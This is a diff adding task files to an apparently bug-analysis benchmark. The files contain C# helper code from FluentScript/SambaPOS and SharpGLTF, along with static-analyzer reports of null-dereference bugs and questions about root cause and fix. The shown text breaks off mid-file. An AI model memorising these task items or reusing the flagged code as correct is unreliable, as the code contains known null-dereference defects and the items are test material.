+        /// <param name="hostLangType"></param>
+        /// <returns></returns>
+        public static LType ConvertToLangTypeClass(Type hostLangType)
+        {
+            var type = new LObjectType();
+            type.Name = hostLangType.Name;
+            type.FullName = hostLangType.FullName;
+            type.TypeVal = TypeConstants.LClass;
+            return type;
+        }
+
+
+        /// <summary>
+        /// Converts to host language type to a fluentscript type.
+        /// </summary>
+        /// <param name="hostLangType"></param>
+        /// <returns></returns>
+        public static LObject ConvertToLangClass(object obj)
+        {
+            var type = obj.GetType();
+            var lclassType = new LClassType();
+            lclassType.Name = type.Name;
+            lclassType.FullName = type.FullName;
+            lclassType.DataType = type;
+            lclassType.TypeVal = TypeConstants.LClass;
+            var lclass = new LClass(obj);
+            lclass.Type = lclassType;            
+            return lclass;
+        }
+
+
+        /// <summary>
+        /// Converts to host language type to a fluentscript type.
+        /// </summary>
+        /// <param name="hostLangType"></param>
+        /// <returns></returns>
+        public static LObject ConvertToLangUnit(object obj)
+        {
+            var type = obj.GetType();
+            var lclassType = new LClassType();
+            lclassType.Name = type.Name;
+            lclassType.FullName = type.FullName;
+            lclassType.DataType = type;
+            lclassType.TypeVal = TypeConstants.Unit;
+            var lclass = new LClass(obj);
+            lclass.Type = lclassType;
+            return lclass;
+        }
+
+
+        /// <summary>
+        /// Get the type in the host language that represents the same type in fluentscript.
+        /// </summary>
+        /// <param name="ltype">The LType in fluentscript.</param>
+        /// <returns></returns>
+        public static Type ConvertToHostLangType(LType ltype)
+        {
+            if (ltype == LTypes.Bool) return typeof(bool);
+            if (ltype == LTypes.Date) return typeof(DateTime);
+            if (ltype == LTypes.Number) return typeof(int);
+            if (ltype == LTypes.Number) return typeof(double);
+            if (ltype == LTypes.String) return typeof(string);
+            if (ltype == LTypes.Time) return typeof(TimeSpan);
+            if (ltype == LTypes.Array) return typeof(IList);
+            if (ltype == LTypes.Map) return typeof(IDictionary);
+            if (ltype == LTypes.Null) return typeof(Nullable);
+            
+            return typeof (object);
+        }
+
+
+        /// <summary>
+        /// Converts from c# datatypes to fluentscript datatypes inside
+        /// </summary>
+        /// <param name="args"></param>
+        public static void ConvertToLangTypeValues(List<object> args)
+        {
+            if (args == null || args.Count == 0)
+                return;
+
+            // Convert types from c# types fluentscript compatible types.
+            for (int ndx = 0; ndx < args.Count; ndx++)
+            {
+                var val = args[ndx];
+                
+                args[ndx] = ConvertToLangValue(val);
+            }
+        }
+
+
+        /// <summary>
+        /// Converts from c# datatypes to fluentscript datatypes inside
+        /// </summary>
+        /// <param name="args"></param>
+        public static object[] ConvertToArrayOfHostLangValues(object[] args)
+        {
+            if (args == null || args.Length == 0)
+                return args;
+
+            // Convert types from c# types fluentscript compatible types.
+            var convertedItems = new object[args.Length];
+            for (int ndx = 0; ndx < args.Length; ndx++)
+            {
+                var val = args[ndx];
+                if (val is LObject)
+                    convertedItems[ndx] = ((LObject)val).GetValue();
+                else
+                    convertedItems[ndx] = val;
+            }
+            return convertedItems;
+        }
+
+
+        /// <summary>
+        /// Converts the source to the target list type by creating a new instance of the list and populating it.
+        /// </summary>
+        /// <param name="source"></param>
+        /// <param name="targetListType"></param>
+        /// <returns></returns>
+        public static object ConvertToTypedList(IList<object> source, Type targetListType)
+        {
+            var t = targetListType; // targetListType.GetType();
+            var dt = targetListType.GetGenericTypeDefinition();
+            var targetType = dt.MakeGenericType(t.GetGenericArguments()[0]);
+            var targetList = Activator.CreateInstance(targetType);
+            var l = targetList as System.Collections.IList;
+            foreach (var item in source)
+            {
+                var val = item;
+                if(item is LObject)
+                {
+                    val = ((LObject) item).GetValue();
+                }
+                l.Add(val);
+            }
+            return targetList;
+        }
+
+
+        /// <summary>
+        /// Converts the source to the target list type by creating a new instance of the list and populating it.
+        /// </summary>
+        /// <param name="source"></param>
+        /// <param name="targetListType"></param>
+        /// <returns></returns>
+        public static object ConvertToTypedDictionary(IDictionary<string, object> source, Type targetListType)
+        {
+            var t = targetListType; // targetListType.GetType();
+            var dt = targetListType.GetGenericTypeDefinition();
+            var targetType = dt.MakeGenericType(t.GetGenericArguments()[0], t.GetGenericArguments()[1]);
+            var targetDict = Activator.CreateInstance(targetType);
+            var l = targetDict as System.Collections.IDictionary;
+            foreach (var item in source) l.Add(item.Key, item.Value);
+            return targetDict;
+        }
+
+
+        /// <summary>
+        /// Converts arguments from one type to another type that is required by the method call.
+        /// </summary>
+        /// <param name="args"></param>
+        /// <param name="method">The method for which the parameters need to be converted</param>
+        public static object[] ConvertArgs(List<object> args, MethodInfo method)
+        {
+            var hostLangArgs = new List<object>();
+            var parameters = method.GetParameters();
+            if (parameters.Length == 0) return hostLangArgs.ToArray();
+
+            // REQUIREMENT: Number of values must match # of parameters in method.
+            for (int ndx = 0; ndx < parameters.Length; ndx++)
+            {
+                var param = parameters[ndx];
+                var sourceArg = args[ndx] as LObject;
+
+                // CASE 1: Null
+                if (sourceArg == LObjects.Null)
+                {
+                    var defaultVal = LangTypeHelper.GetDefaultValue(param.ParameterType);
+                    hostLangArgs.Add(defaultVal);
+                }
+                
+                // CASE 2: int, bool, date, time
+                else if (sourceArg.Type.IsPrimitiveType())
+                {
+                    var convertedVal = sourceArg.GetValue();
+                    convertedVal = ConvertToCorrectHostLangValue(param.ParameterType, convertedVal);
+                    hostLangArgs.Add(convertedVal);
+                }
+                // CASE 3: LArrayType and generic types.
+                else if (sourceArg.Type == LTypes.Array )
+                {
+                    // Case 1: Array
+                    if(param.ParameterType.IsArray)
+                    {
+                        if(param.ParameterType == typeof(string[]))
+                        {
+                            var convertedVal = ConvertToHostLangArray(param.ParameterType, (LArray) sourceArg);
+                            hostLangArgs.Add(convertedVal);
+                        }
+                    }
+                    else if (param.ParameterType.IsGenericType)
+                    {
+                        var gentype = param.ParameterType.GetGenericTypeDefinition();
+
+                        // Case 2: Matching types IList<object>
+                        if (gentype == typeof (IList<object>))
+                        {
+                            var convertedVal = sourceArg.GetValue();
+                            hostLangArgs.Add(convertedVal);
+                        }
+                        // Case 3: Non-matching types List<object> to IList<Person>
+                        else if (gentype == typeof (List<>) || gentype == typeof (IList<>))
+                        {
+                            //args[ndx] = ConvertToTypedList((List<object>) sourceArg.GetValue(), param.ParameterType);
+                            var convertedArr = ConvertToTypedList((List<object>)sourceArg.GetValue(), param.ParameterType);
+                            hostLangArgs.Add(convertedArr);
+                        }
+                    }
+                }
+            }
+            return hostLangArgs.ToArray();
+        } 
+
+
+        /// <summary>
+        /// Gets the default value for the supplied type.
+        /// </summary>
+        /// <param name="type"></param>
+        /// <returns></returns>
+        public static object GetDefaultValue(Type type)
+        {
+            if (type == typeof(int)) return 0;
+            if (type == typeof(bool)) return false;
+            if (type == typeof(double)) return 0.0;
+            if (type == typeof(DateTime)) return DateTime.MinValue;
+            if (type == typeof(TimeSpan)) return TimeSpan.MinValue;
+            return null;
+        }
+
+
+        /// <summary>
+        /// Whether or not the type supplied is a basic type.
+        /// </summary>
+        /// <param name="obj"></param>
+        /// <returns></returns>
+        public static bool IsBasicTypeCSharpType(object obj)
+        {
+            if (obj == null) throw new ArgumentNullException("obj");
+
+            Type type = obj.GetType();
+            if (type == typeof(int)) return true;
+            if (type == typeof(long)) return true;
+            if (type == typeof(double)) return true;
+            if (type == typeof(bool)) return true;
+            if (type == typeof(string)) return true;
+            if (type == typeof(DateTime)) return true;
+            if (type == typeof(TimeSpan)) return true;
+            return false;
+        }
+
+
+        /// <summary>
+        /// Converts each item in the parameters object array to an integer.
+        /// </summary>
+        /// <param name="parameters"></param>
+        public static int[] ConvertToInts(object[] parameters)
+        {
+            // Convert all parameters to int            
+            int[] args = new int[parameters.Length];
+            for (int ndx = 0; ndx < parameters.Length; ndx++)
+            {
+                args[ndx] = Convert.ToInt32(parameters[ndx]);
+            }
+            return args;
+        }
+
+
+        private static object ConvertToCorrectHostLangValue(Type type, object val)
+        {
+            if (type == typeof(int))
+                return Convert.ToInt32(val);
+            if (type == typeof(long))
+                return Convert.ToInt64(val);
+            if (type == typeof(float))
+                return Convert.ToSingle(val);
+            return val;
+        }
+
+
+        private static object ConvertToHostLangArray(Type type, LArray array)
+        {
+            var length = array.Value.Count;
+            var fsarray = array.Value;
+            Array items = null;
+            var hostType = typeof (int);
+            if (     type == typeof(string[]))
+            {
+                items = new string[length];
+                hostType = typeof (string);
+            }
+            else if (type == typeof(bool[]))
+            {
+                items = new bool[length];
+                hostType = typeof (bool);
+            }
+            else if (type == typeof(DateTime[]))
+            {
+                items = new DateTime[length];
+                hostType = typeof (DateTime);
+            }
+            else if (type == typeof(TimeSpan[]))
+            {
+                items = new TimeSpan[length];
+                hostType = typeof (TimeSpan);
+            }
+            else if (type == typeof(double[]))
+            {
+                items = new double[length];
+                hostType = typeof (double);
+            }
+            else if (type == typeof(float[]))
+            {
+                items = new float[length];
+                hostType = typeof (float);
+            }
+            else if (type == typeof(long[]))
+            {
+                items = new long[length];
+                hostType = typeof (long);
+            }
+            else if (type == typeof(int[]))
+            {
+                items = new int[length];
+                hostType = typeof (int);
+            }
+
+            for(var ndx = 0; ndx < fsarray.Count; ndx++)
+            {
+                var val = fsarray[ndx] as LObject;
+                var hostval = val.GetValue();
+
+                // This converts double to long as fluentscript only supports double right now.
+                var converted = ConvertToCorrectHostLangValue(hostType, hostval);
+                items.SetValue(converted, ndx);
+            }
+            return items;
+        }
+
+
+        /// <summary>
+        /// Add 2 unites together.
+        /// </summary>
+        /// <param name="u1"></param>
+        /// <param name="u2"></param>
+        /// <returns></returns>
+        public static LUnit AddUnits(LUnit u1, LUnit u2)
+        {
+            // Validate
+            LangTypeHelper.ValidateUnits(u1, u2);
+
+            // Now convert the values to their base value.
+            double totalBase = u1.BaseValue + u2.BaseValue;
+            var unit = new LUnit(totalBase);
+            unit.BaseValue = totalBase;
+            unit.Group = u1.Group;
+            unit.SubGroup = u1.SubGroup;
+
+            // Set the value to the converted relative value 
+            // e.g. if u1.subgroup = feet and u2.subgroup == inches.
+            // then multiply result.basevalue by the conversion value.
+            // Now convert the units
+            return unit;
+        }
+
+
+        private static void ValidateUnits(LUnit u1, LUnit u2)
+        {
+            // Validate.
+            if (u1 == null || u2 == null)
+                throw new ArgumentException("Can not add units when 1 unit is empty");
+
+            // Check for matching groups e.g. length + length or weight + weight.
+            if (u1.Group != u2.Group)
+                throw new ArgumentException("Can not add units " + u1.Group + " to " + u2.Group);
+        }
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `items` last assigned on line 443 could be null and is dereferenced at line 493, column 17.
+
+### Severity:
+ERROR
+
+### Procedure:
+Object LangTypeHelper.ConvertToHostLangArray(Type,LArray)
+
+### File:
+Lib/FluentScript/Helpers/TypeHelper.cs
+
+### Key:
+TypeHelper.cs|ConvertToHostLangArray|NULL_DEREFERENCE
+
+### Node Key:
+80fddfd548600a7b7eec3ceb42a4f22a
+
+### Hash:
+92de8c384d035c6dabe8512dcd111bd2
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1443/instruction.md b/inferredbugs-1443/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..f2c4a6679c89094e66048710b3cf0cb907b35bfc
--- /dev/null
+++ b/inferredbugs-1443/instruction.md
@@ -0,0 +1,598 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** SambaPOS-3
+**Bug ID:** 2
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections;
+using System.Collections.Generic;
+using System.Reflection;
+
+using ComLib.Lang.Types;
+using ComLib.Lang.Core;
+
+
+namespace ComLib.Lang.Helpers
+{
+    /// <summary>
+    /// Helper class for datatypes.
+    /// </summary>
+    public class LangTypeHelper
+    {
+        public static LNumber ConverToLangDayOfWeekNumber(LObject obj)
+        {
+            if (obj.Type == LTypes.Date)
+            {
+                var day = (int)((LDate) obj).Value.DayOfWeek;
+                return new LNumber(day);
+            }
+            
+            if (obj.Type == LTypes.DayOfWeek)
+            {
+                var day = (int)((LDayOfWeek)obj).Value;
+                return new LNumber(day);
+            }
+            return (LNumber)obj;
+        }
+
+
+        /// <summary>
+        /// Converts from c# datatypes to fluentscript datatypes inside
+        /// </summary>
+        /// <param name="val"></param>
+        public static LObject ConvertToLangValue(object val)
+        {
+            if (val == null) return LObjects.Null;            
+
+            var type = val.GetType();
+            
+            if (type == typeof(int))       
+                return new LNumber(Convert.ToDouble(val));
+            
+            if (type == typeof(double))
+                return new LNumber((double)val);
+            
+            if (type == typeof(string))
+                return new LString((string)val);
+
+            if (type == typeof(DateTime))
+                return new LDate((DateTime)val);
+
+            if (type == typeof(TimeSpan))
+                return new LTime((TimeSpan)val);
+
+            if (type == typeof(DayOfWeek))
+                return new LDayOfWeek((DayOfWeek) val);
+
+            if (type == typeof(bool))
+                return new LBool((bool)val);
+
+            var isGenType = type.IsGenericType;
+            if (isGenType)
+            {
+                var gentype = type.GetGenericTypeDefinition();
+                if (type == typeof(List<object>) || gentype == typeof (List<>) || gentype == typeof (IList<>))
+                    return new LArray((IList) val);
+
+                if (type == typeof (Dictionary<string, object>))
+                    return new LMap((Dictionary<string, object>) val);
+            }
+            // object
+            return LangTypeHelper.ConvertToLangClass(val);
+        }
+
+
+        /// <summary>
+        /// Converts from c# datatypes to fluentscript datatypes inside
+        /// </summary>
+        /// <param name="val"></param>
+        public static LObject ConvertToLangValue(LType ltype, object val)
+        {
+            if (val == null) return LObjects.Null;
+
+            if (ltype == LTypes.Number)
+                return new LNumber(Convert.ToDouble(val));
+
+            if (ltype == LTypes.String)
+                return new LString(Convert.ToString(val));
+
+            if (ltype == LTypes.Date)
+                return new LDate(Convert.ToDateTime(val));
+
+            if (ltype == LTypes.Time)
+            {
+                var valText = Convert.ToString(val);
+                var result = DateTimeTypeHelper.ParseTime(valText);
+                var time = result.Item1;
+                return new LTime(time);
+            }
+            if (ltype == LTypes.Bool)
+                return new LBool(Convert.ToBoolean(val));
+
+            return LObjects.Null;
+        }
+        
+        /// <summary>
+        /// Converts a Type object from the host language to a fluentscript type.
+        /// </summary>
+        /// <param name="hostLangType"></param>
+        /// <returns></returns>
+        public static LType ConvertToLangType(Type hostLangType)
+        {
+            if (hostLangType == typeof(bool)) return LTypes.Bool;
+            if (hostLangType == typeof(DateTime)) return LTypes.Date;
+            if (hostLangType == typeof(int)) return LTypes.Number;
+            if (hostLangType == typeof(double)) return LTypes.Number;
+            if (hostLangType == typeof(string)) return LTypes.String;
+            if (hostLangType == typeof(TimeSpan)) return LTypes.Time;
+            if (hostLangType == typeof(Nullable)) return LTypes.Null;
+            if (hostLangType == typeof(IList)) return LTypes.Array;
+            if (hostLangType == typeof(IDictionary)) return LTypes.Map;
+            
+            return LTypes.Object;
+        }
+
+
+        /// <summary>
+        /// Converts a Type object from the host language to a fluentscript type.
+        /// </summary>
+        /// <param name="langTypeName"></param>
+        /// <returns></returns>
+        public static LType ConvertToLangTypeFromLangTypeName(string langTypeName)
+        {
+            if (langTypeName == LTypes.Bool.Name   ) return LTypes.Bool;
+            if (langTypeName == LTypes.Date.Name   ) return LTypes.Date;
+            if (langTypeName == LTypes.Time.Name   ) return LTypes.Time;
+            if (langTypeName == LTypes.Number.Name ) return LTypes.Number;
+            if (langTypeName == LTypes.String.Name ) return LTypes.String;
+            return LTypes.Object;
+        }
+
+
+        /// <summary>
+        /// Converts to host language type to a fluentscript type.
+        /// </summary>
+        /// <param name="hostLangType"></param>
+        /// <returns></returns>
+        public static LType ConvertToLangTypeClass(Type hostLangType)
+        {
+            var type = new LObjectType();
+            type.Name = hostLangType.Name;
+            type.FullName = hostLangType.FullName;
+            type.TypeVal = TypeConstants.LClass;
+            return type;
+        }
+
+
+        /// <summary>
+        /// Converts to host language type to a fluentscript type.
+        /// </summary>
+        /// <param name="hostLangType"></param>
+        /// <returns></returns>
+        public static LObject ConvertToLangClass(object obj)
+        {
+            var type = obj.GetType();
+            var lclassType = new LClassType();
+            lclassType.Name = type.Name;
+            lclassType.FullName = type.FullName;
+            lclassType.DataType = type;
+            lclassType.TypeVal = TypeConstants.LClass;
+            var lclass = new LClass(obj);
+            lclass.Type = lclassType;            
+            return lclass;
+        }
+
+
+        /// <summary>
+        /// Converts to host language type to a fluentscript type.
+        /// </summary>
+        /// <param name="hostLangType"></param>
+        /// <returns></returns>
+        public static LObject ConvertToLangUnit(object obj)
+        {
+            var type = obj.GetType();
+            var lclassType = new LClassType();
+            lclassType.Name = type.Name;
+            lclassType.FullName = type.FullName;
+            lclassType.DataType = type;
+            lclassType.TypeVal = TypeConstants.Unit;
+            var lclass = new LClass(obj);
+            lclass.Type = lclassType;
+            return lclass;
+        }
+
+
+        /// <summary>
+        /// Get the type in the host language that represents the same type in fluentscript.
+        /// </summary>
+        /// <param name="ltype">The LType in fluentscript.</param>
+        /// <returns></returns>
+        public static Type ConvertToHostLangType(LType ltype)
+        {
+            if (ltype == LTypes.Bool) return typeof(bool);
+            if (ltype == LTypes.Date) return typeof(DateTime);
+            if (ltype == LTypes.Number) return typeof(int);
+            if (ltype == LTypes.Number) return typeof(double);
+            if (ltype == LTypes.String) return typeof(string);
+            if (ltype == LTypes.Time) return typeof(TimeSpan);
+            if (ltype == LTypes.Array) return typeof(IList);
+            if (ltype == LTypes.Map) return typeof(IDictionary);
+            if (ltype == LTypes.Null) return typeof(Nullable);
+            
+            return typeof (object);
+        }
+
+
+        /// <summary>
+        /// Converts from c# datatypes to fluentscript datatypes inside
+        /// </summary>
+        /// <param name="args"></param>
+        public static void ConvertToLangTypeValues(List<object> args)
+        {
+            if (args == null || args.Count == 0)
+                return;
+
+            // Convert types from c# types fluentscript compatible types.
+            for (int ndx = 0; ndx < args.Count; ndx++)
+            {
+                var val = args[ndx];
+                
+                args[ndx] = ConvertToLangValue(val);
+            }
+        }
+
+
+        /// <summary>
+        /// Converts from c# datatypes to fluentscript datatypes inside
+        /// </summary>
+        /// <param name="args"></param>
+        public static object[] ConvertToArrayOfHostLangValues(object[] args)
+        {
+            if (args == null || args.Length == 0)
+                return args;
+
+            // Convert types from c# types fluentscript compatible types.
+            var convertedItems = new object[args.Length];
+            for (int ndx = 0; ndx < args.Length; ndx++)
+            {
+                var val = args[ndx];
+                if (val is LObject)
+                    convertedItems[ndx] = ((LObject)val).GetValue();
+                else
+                    convertedItems[ndx] = val;
+            }
+            return convertedItems;
+        }
+
+
+        /// <summary>
+        /// Converts the source to the target list type by creating a new instance of the list and populating it.
+        /// </summary>
+        /// <param name="source"></param>
+        /// <param name="targetListType"></param>
+        /// <returns></returns>
+        public static object ConvertToTypedList(IList<object> source, Type targetListType)
+        {
+            var t = targetListType; // targetListType.GetType();
+            var dt = targetListType.GetGenericTypeDefinition();
+            var targetType = dt.MakeGenericType(t.GetGenericArguments()[0]);
+            var targetList = Activator.CreateInstance(targetType);
+            var l = targetList as System.Collections.IList;
+            foreach (var item in source)
+            {
+                var val = item;
+                if(item is LObject)
+                {
+                    val = ((LObject) item).GetValue();
+                }
+                l.Add(val);
+            }
+            return targetList;
+        }
+
+
+        /// <summary>
+        /// Converts the source to the target list type by creating a new instance of the list and populating it.
+        /// </summary>
+        /// <param name="source"></param>
+        /// <param name="targetListType"></param>
+        /// <returns></returns>
+        public static object ConvertToTypedDictionary(IDictionary<string, object> source, Type targetListType)
+        {
+            var t = targetListType; // targetListType.GetType();
+            var dt = targetListType.GetGenericTypeDefinition();
+            var targetType = dt.MakeGenericType(t.GetGenericArguments()[0], t.GetGenericArguments()[1]);
+            var targetDict = Activator.CreateInstance(targetType);
+            var l = targetDict as System.Collections.IDictionary;
+            foreach (var item in source) l.Add(item.Key, item.Value);
+            return targetDict;
+        }
+
+
+        /// <summary>
+        /// Converts arguments from one type to another type that is required by the method call.
+        /// </summary>
+        /// <param name="args"></param>
+        /// <param name="method">The method for which the parameters need to be converted</param>
+        public static object[] ConvertArgs(List<object> args, MethodInfo method)
+        {
+            var hostLangArgs = new List<object>();
+            var parameters = method.GetParameters();
+            if (parameters.Length == 0) return hostLangArgs.ToArray();
+
+            // REQUIREMENT: Number of values must match # of parameters in method.
+            for (int ndx = 0; ndx < parameters.Length; ndx++)
+            {
+                var param = parameters[ndx];
+                var sourceArg = args[ndx] as LObject;
+
+                // CASE 1: Null
+                if (sourceArg == LObjects.Null)
+                {
+                    var defaultVal = LangTypeHelper.GetDefaultValue(param.ParameterType);
+                    hostLangArgs.Add(defaultVal);
+                }
+                
+                // CASE 2: int, bool, date, time
+                else if (sourceArg.Type.IsPrimitiveType())
+                {
+                    var convertedVal = sourceArg.GetValue();
+                    convertedVal = ConvertToCorrectHostLangValue(param.ParameterType, convertedVal);
+                    hostLangArgs.Add(convertedVal);
+                }
+                // CASE 3: LArrayType and generic types.
+                else if (sourceArg.Type == LTypes.Array )
+                {
+                    // Case 1: Array
+                    if(param.ParameterType.IsArray)
+                    {
+                        if(param.ParameterType == typeof(string[]))
+                        {
+                            var convertedVal = ConvertToHostLangArray(param.ParameterType, (LArray) sourceArg);
+                            hostLangArgs.Add(convertedVal);
+                        }
+                    }
+                    else if (param.ParameterType.IsGenericType)
+                    {
+                        var gentype = param.ParameterType.GetGenericTypeDefinition();
+
+                        // Case 2: Matching types IList<object>
+                        if (gentype == typeof (IList<object>))
+                        {
+                            var convertedVal = sourceArg.GetValue();
+                            hostLangArgs.Add(convertedVal);
+                        }
+                        // Case 3: Non-matching types List<object> to IList<Person>
+                        else if (gentype == typeof (List<>) || gentype == typeof (IList<>))
+                        {
+                            //args[ndx] = ConvertToTypedList((List<object>) sourceArg.GetValue(), param.ParameterType);
+                            var convertedArr = ConvertToTypedList((List<object>)sourceArg.GetValue(), param.ParameterType);
+                            hostLangArgs.Add(convertedArr);
+                        }
+                    }
+                }
+            }
+            return hostLangArgs.ToArray();
+        } 
+
+
+        /// <summary>
+        /// Gets the default value for the supplied type.
+        /// </summary>
+        /// <param name="type"></param>
+        /// <returns></returns>
+        public static object GetDefaultValue(Type type)
+        {
+            if (type == typeof(int)) return 0;
+            if (type == typeof(bool)) return false;
+            if (type == typeof(double)) return 0.0;
+            if (type == typeof(DateTime)) return DateTime.MinValue;
+            if (type == typeof(TimeSpan)) return TimeSpan.MinValue;
+            return null;
+        }
+
+
+        /// <summary>
+        /// Whether or not the type supplied is a basic type.
+        /// </summary>
+        /// <param name="obj"></param>
+        /// <returns></returns>
+        public static bool IsBasicTypeCSharpType(object obj)
+        {
+            if (obj == null) throw new ArgumentNullException("obj");
+
+            Type type = obj.GetType();
+            if (type == typeof(int)) return true;
+            if (type == typeof(long)) return true;
+            if (type == typeof(double)) return true;
+            if (type == typeof(bool)) return true;
+            if (type == typeof(string)) return true;
+            if (type == typeof(DateTime)) return true;
+            if (type == typeof(TimeSpan)) return true;
+            return false;
+        }
+
+
+        /// <summary>
+        /// Converts each item in the parameters object array to an integer.
+        /// </summary>
+        /// <param name="parameters"></param>
+        public static int[] ConvertToInts(object[] parameters)
+        {
+            // Convert all parameters to int            
+            int[] args = new int[parameters.Length];
+            for (int ndx = 0; ndx < parameters.Length; ndx++)
+            {
+                args[ndx] = Convert.ToInt32(parameters[ndx]);
+            }
+            return args;
+        }
+
+
+        private static object ConvertToCorrectHostLangValue(Type type, object val)
+        {
+            if (type == typeof(int))
+                return Convert.ToInt32(val);
+            if (type == typeof(long))
+                return Convert.ToInt64(val);
+            if (type == typeof(float))
+                return Convert.ToSingle(val);
+            return val;
+        }
+
+
+        private static object ConvertToHostLangArray(Type type, LArray array)
+        {
+            var length = array.Value.Count;
+            var fsarray = array.Value;
+            Array items = null;
+            var hostType = typeof (int);
+            if (     type == typeof(string[]))
+            {
+                items = new string[length];
+                hostType = typeof (string);
+            }
+            else if (type == typeof(bool[]))
+            {
+                items = new bool[length];
+                hostType = typeof (bool);
+            }
+            else if (type == typeof(DateTime[]))
+            {
+                items = new DateTime[length];
+                hostType = typeof (DateTime);
+            }
+            else if (type == typeof(TimeSpan[]))
+            {
+                items = new TimeSpan[length];
+                hostType = typeof (TimeSpan);
+            }
+            else if (type == typeof(double[]))
+            {
+                items = new double[length];
+                hostType = typeof (double);
+            }
+            else if (type == typeof(float[]))
+            {
+                items = new float[length];
+                hostType = typeof (float);
+            }
+            else if (type == typeof(long[]))
+            {
+                items = new long[length];
+                hostType = typeof (long);
+            }
+            else if (type == typeof(int[]))
+            {
+                items = new int[length];
+                hostType = typeof (int);
+            }
+
+            for(var ndx = 0; ndx < fsarray.Count; ndx++)
+            {
+                var val = fsarray[ndx] as LObject;
+                var hostval = val.GetValue();
+
+                // This converts double to long as fluentscript only supports double right now.
+                var converted = ConvertToCorrectHostLangValue(hostType, hostval);
+                items.SetValue(converted, ndx);
+            }
+            return items;
+        }
+
+
+        /// <summary>
+        /// Add 2 unites together.
+        /// </summary>
+        /// <param name="u1"></param>
+        /// <param name="u2"></param>
+        /// <returns></returns>
+        public static LUnit AddUnits(LUnit u1, LUnit u2)
+        {
+            // Validate
+            LangTypeHelper.ValidateUnits(u1, u2);
+
+            // Now convert the values to their base value.
+            double totalBase = u1.BaseValue + u2.BaseValue;
+            var unit = new LUnit(totalBase);
+            unit.BaseValue = totalBase;
+            unit.Group = u1.Group;
+            unit.SubGroup = u1.SubGroup;
+
+            // Set the value to the converted relative value 
+            // e.g. if u1.subgroup = feet and u2.subgroup == inches.
+            // then multiply result.basevalue by the conversion value.
+            // Now convert the units
+            return unit;
+        }
+
+
+        private static void ValidateUnits(LUnit u1, LUnit u2)
+        {
+            // Validate.
+            if (u1 == null || u2 == null)
+                throw new ArgumentException("Can not add units when 1 unit is empty");
+
+            // Check for matching groups e.g. length + length or weight + weight.
+            if (u1.Group != u2.Group)
+                throw new ArgumentException("Can not add units " + u1.Group + " to " + u2.Group);
+        }
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `l` last assigned on line 275 could be null and is dereferenced at line 283, column 17.
+
+### Severity:
+ERROR
+
+### Procedure:
+Object LangTypeHelper.ConvertToTypedList(IList`1<!0>,Type)
+
+### File:
+Lib/FluentScript/Helpers/TypeHelper.cs
+
+### Key:
+TypeHelper.cs|ConvertToTypedList|NULL_DEREFERENCE
+
+### Node Key:
+3654aaa31bf6f5c66d4263b95a3f1706
+
+### Hash:
+f7fb7bdeb85c5ef00e4d88831ebf443d
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1444/instruction.md b/inferredbugs-1444/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..56204d1df46b61bc965d6654e9052d494a5a02b9
--- /dev/null
+++ b/inferredbugs-1444/instruction.md
@@ -0,0 +1,202 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** SharpGLTF
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Numerics;
+using System.Text;
+
+namespace glTF2Sharp.Schema2
+{
+    using Collections;
+
+    using ROOT = ModelRoot;
+
+    [System.Diagnostics.DebuggerDisplay("Skin[{LogicalIndex}] {Name}")]
+    public partial class Skin
+    {
+        // https://github.com/KhronosGroup/glTF/issues/461
+        // https://github.com/KhronosGroup/glTF/issues/100
+        // https://github.com/KhronosGroup/glTF/issues/403
+        // https://github.com/AnalyticalGraphicsInc/cesium/blob/master/Source/Scene/Model.js#L2526
+
+        // max shader joints
+        // https://github.com/KhronosGroup/glTF/issues/283
+
+        #region lifecycle
+
+        internal Skin()
+        {
+            _joints = new List<int>();
+        }
+
+        #endregion
+
+        #region properties
+
+        public int LogicalIndex => this.LogicalParent.LogicalSkins.IndexOfReference(this);
+
+        public IEnumerable<Node> VisualParents => Node.GetNodesUsingSkin(this);
+
+        public int JointsCount => _joints.Count;
+
+        // Skeleton property points to the node that is the root of a joints hierarchy.
+        public Node Skeleton
+        {
+            get => this._skeleton.HasValue ? this.LogicalParent.LogicalNodes[this._skeleton.Value] : null;
+            set
+            {
+                if (value != null) Guard.MustShareLogicalParent(this.LogicalParent, value, nameof(value));
+                this._skeleton = value == null ? (int?)null : value.LogicalIndex;
+            }
+        }
+
+        #endregion
+
+        #region API
+
+        public static IEnumerable<Skin> GetSkinsUsing(Node n)
+        {
+            var idx = n.LogicalIndex;
+
+            return n.LogicalParent.LogicalSkins.Where(s => s._ContainsNode(idx));
+        }
+
+        internal bool _ContainsNode(int nodeIdx) { return _joints.Contains(nodeIdx); }
+
+        public Accessor GetInverseBindMatricesAccessor()
+        {
